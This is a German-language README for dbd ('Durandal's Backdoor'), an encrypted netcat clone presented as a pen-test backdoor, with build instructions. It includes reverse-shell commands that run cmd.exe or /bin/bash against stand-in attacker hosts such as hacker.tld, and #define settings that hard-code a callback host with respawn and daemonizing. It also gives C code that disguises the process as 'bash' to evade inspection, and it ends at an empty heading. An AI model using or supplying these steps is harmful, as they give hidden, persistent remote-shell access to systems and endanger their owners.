
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd wird unter der GNU GPL vertrieben #Mipsbe-Binärdatei hinzugefügt von Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###ÜBERSICHT
dbd ist ein Netcat-Klon, der dafür entwickelt wurde, portabel zu sein und eine starke Verschlüsselung zu bieten. Er läuft auf Unix-ähnlichen Betriebssystemen und auf Microsoft Win32. dbd bietet AES-CBC-128 + HMAC-SHA1-Verschlüsselung (von Christophe Devine), Programmausführung (-e-Option), Auswahl des Quellports, kontinuierliche Wiederverbindung mit Verzögerung und einige andere nette Funktionen. dbd unterstützt ausschließlich TCP/IP-Kommunikation. Quellcode und Binärdateien werden unter der GNU General Public License vertrieben.
###KOMPILIERUNG
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Um dbd unter einem Unix-ähnlichen Betriebssystem zu kompilieren, benötigen Sie gcc und die entsprechenden Entwicklungswerkzeuge. Für Linux, FreeBSD, NetBSD, OpenBSD (und möglicherweise andere) geben Sie Folgendes ein:
$ make unix
Für SunOS/Solaris geben Sie Folgendes ein:
$ make sunos
Um dbd unter Microsoft Windows (NT/2K/XP/2K3) zu kompilieren, benötigen Sie MinGW+MSYS oder Cygwin mit vollständiger Entwicklungsunterstützung (Cygwins MinGW-gcc). Um eine native Win32-Konsolenanwendung von dbd unter Cygwin zu kompilieren, geben Sie Folgendes ein:
$ make win32
oder unter MSYS:
$ make mingw
Um eine Anwendung ohne Konsole ("WinMain") unter Cygwin zu kompilieren, geben Sie Folgendes ein:
$ make win32bg
oder unter MSYS:
$ make mingwbg
Um eine Cygwin-spezifische Konsolenanwendung zu kompilieren, geben Sie Folgendes ein:
$make cygwin
Vielleicht möchten Sie das Standardverhalten von dbd ändern. Eines der wichtigsten Dinge ist dabei, das standardmäßige gemeinsame Geheimnis (Shared Secret) durch Ihre eigene Passphrase zu ersetzen. Bearbeiten Sie dbd.h und ersetzen Sie die Einträge durch Ihre Präferenzen. Sie könnten beispielsweise einen Host + Port fest einprogrammieren, zu dem dbd eine Verbindung aufbaut, wenn es ohne Optionen gestartet wird. Vollständige Beispiele finden Sie in dbd.h.
###BEISPIELANWENDUNGEN
Mit ein wenig Fantasie kann dbd für viele Dinge verwendet werden:
Verwenden Sie dbd, um Dateien sicher zwischen zwei Netzwerken zu übertragen:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
oder von win32 aus:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Verwenden Sie dbd als einfachen (aber sicheren) Chat:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Verwenden Sie dbd als Pen-Test-Backdoor:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
oder unter Unix-ähnlichen Betriebssystemen:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###FEST EINPROGRAMMIERTE OPTIONEN
Zusätzlich zur Verwendung von Befehlszeilenoptionen können Sie Variablen mithilfe von #defines in dbd.h fest einprogrammieren. Setzen Sie dazu die Variablen, die Sie verwenden möchten, als benannte Konstanten und kompilieren Sie wie gewohnt. Wenn Sie beispielsweise eine ausführbare dbd-Datei fest einprogrammieren möchten, die sich mit "evil.nationalbankofuganda.com" auf Port 995 verbindet und "/bin/bash" ausführt, könnten Sie Folgendes ausführen:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
Oder Sie könnten dbd.h mithilfe fest einprogrammierter #defines bearbeiten:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Sie können auch Respawn- und Stealth-Optionen festlegen, um Ihre Verbindung aufrechtzuerhalten:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Dadurch wird die Verbindung so konfiguriert, dass sie sich als Daemon ausführt (im Malware-Jargon: "melt"), niemals eine Ausgabe an STDOUT sendet und versucht, die Verbindung alle 15 Minuten neu aufzubauen, falls sie jemals vom Listener getrennt wird.
###ROMULAN-CLOAKING-TECHNOLOGIE
Jetzt kommen wir zum interessanten Teil. Sobald Sie ein Meister darin sind, Optionen in Ihre Backdoor fest einzuprogrammieren, können Sie die wahrscheinlich unterhaltsamste benannte Konstante verwenden, die uns zur Verfügung steht: CLOAK. Setzen Sie dazu einfach den Wert:
#define CLOAK 1
HINWEIS: Dies funktioniert derzeit nur bei *nix-Kompilierungen. Irgendwann plane ich, Win32-Prozessmigration/Hooking hinzuzufügen, damit auch diese Ziele etwas romulanische Liebe erfahren können.
Für *nix-Umgebungen bereinigt diese Option argv[0] und ersetzt es durch die Zeichenkette "bash\0". Sie bereinigt auch alle anderen argv[]-Einträge (es sähe doch albern aus, wenn ps "bash -e /bin/bash someremotehost.com 443" zurückgeben würde, oder?) Ich hoffe, es versteht sich von selbst, dass Sie diese Option NICHT VERWENDEN KÖNNEN, ES SEI DENN, SIE PROGRAMMIEREN IHRE VARIABLEN FEST IN DBD.H EIN. Wenn Sie das außerdem auf Ihrem eigenen System testen, wird es lustig sein, die richtige PID zum Killen auszuwählen. ;)
Sie können diesen Scrubber gern in allem verwenden, woran Sie gerade arbeiten:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###WARNUNG
Übergeben Sie keine zwischengespeicherten Eingaben (eine Datei mit Befehlen oder Ähnliches) an eine lauschende "dbd -e"-Sitzung. "dbd -e" verwendet Pipes, um Daten zwischen dem ausgeführten Programm und dbd zu übertragen. Pipes werden verwendet (anstelle einfacher direkt durchgereichter duplizierter Dateideskriptoren), da zwischen den Pipes und dem Socket eine Verschlüsselung stattfindet. Um zu verhindern, dass das schreibende Ende einer der Pipes den gesamten Prozess blockiert, habe ich es in einen nicht blockierenden Deskriptor umgewandelt. Es besteht die Möglichkeit, dass bei der Übergabe zu vieler Eingaben auf einmal an das -e-Programm diese abgeschnitten (gekürzt) werden, da der Pipe-Puffer (im Betriebssystem) nicht alle Daten aufnehmen kann. Dieses Problem könnte beispielsweise gelöst werden, indem dbd multithreadfähig gemacht wird, aber ich werde dies aus Kompatibilitätsgründen so lange wie möglich vermeiden.
##CROSS-KOMPILIERUNG